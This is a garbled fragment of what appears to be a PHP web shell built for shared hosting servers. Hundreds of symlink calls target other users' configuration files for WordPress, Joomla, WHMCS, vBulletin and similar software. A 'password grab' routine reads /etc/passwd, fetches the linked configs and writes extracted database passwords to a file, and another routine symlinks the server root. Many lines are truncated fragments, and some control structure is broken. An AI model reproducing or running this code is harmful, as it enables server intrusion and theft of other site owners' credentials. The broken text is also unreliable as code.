@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-
Hostbills.txt');
//Home1
@symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-
Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-
OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-
Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-
Joomla.txt');
@symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-
WHMCS.txt');
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-
WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-
BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',
@symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',
@symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-
Zencart.txt');
@symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-
Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-
Hostbills.txt');
//Home2
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
Zencart.txt');
Zencart.txt');
Zencart.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
//Home3
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
Zencart.txt');
Zencart.txt');
Zencart.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
//Home4
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
Vbulletin.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Wordpress.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
Joomla.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
BoxBilling.txt');
Zencart.txt');
Zencart.txt');
Zencart.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
//password grab
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[1]);
$ar=trim($ar1[0]);
return $ar;
}
$ffile=fopen('Passwords.txt','a+');
$r= 'http://'.
$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/008_symconf/";
$re=$r;
$confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-
Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-
OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
$usersss=$str[0];
foreach($confi as $co)
{
$uurl=$re.$usersss.$co;
$uel=$uurl;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uel);

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
$result['EXE'] = curl_exec($ch);
curl_close($ch);
$uxl=$result['EXE'];
if($uxl && preg_match('/table_prefix/i',$uxl))

{
//Wordpress
$dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
if(!empty($dbp))
$pass=$dbp."\n";
fwrite($ffile,$pass);
}
elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
{
//WHMCS
$dbp=entre2v2($uxl,"db_password = '","';");
if(!empty($dbp))
$pass=$dbp."\n";
}
elseif($uxl && preg_match('/dbprefix/i',$uxl))
{
//Joomla
$db=entre2v2($uxl,"password = '","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl && preg_match('/admincpdir/i',$uxl))
{
//Vbulletin
$db=entre2v2($uxl,"password'] = '","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
{
//Other
$db=entre2v2($uxl,"DB_PASSWORD', '","');");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl && preg_match('/dbpass/i',$uxl))
{
//Other
$db=entre2v2($uxl,"dbpass = '","';");
if(!empty($db))
$pass=$db."\n";
}
{
//Other
$db=entre2v2($uxl,"dbpass = '","';");
if(!empty($db))
$pass=$db."\n";
}
{
//Other
$db=entre2v2($uxl,"dbpass = \"","\";");
if(!empty($db))
$pass=$db."\n";
}
}
}
echo "<center>
<a href=\"008_symconf/root/\">Root Server</a>
<br><a href=\"008_symconf/Passwords.txt\">Passwords</a>
<br><a href=\"008_symconf/\">Configurations</a></center>";
}
else
{
echo "<center>
<form method=\"POST\">
<textarea name=\"passwd\" class='area' rows='15' cols='60'>";
$file = '/etc/passwd';
$read = @fopen($file, 'r');
if ($read){
$body = @fread($read, @filesize($file));
echo "".htmlentities($body)."";
}
elseif(!$read)
{
$read = @show_source($file) ;
}
elseif(!$read)
{
$read = @highlight_file($file);
}
elseif(!$read)
{
for($uid=0;$uid<1000;$uid++)
{
$ara = posix_getpwuid($uid);
if (!empty($ara))
{
while (list ($key, $val) = each($ara))
{
print "$val:";
}
print "\n";
}}}
flush();
echo "</textarea>
<p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
</form></center>";
}
}
}
elseif($_GET['do'] == 'symlink') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("008_sym",0777);
@chdir("008_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
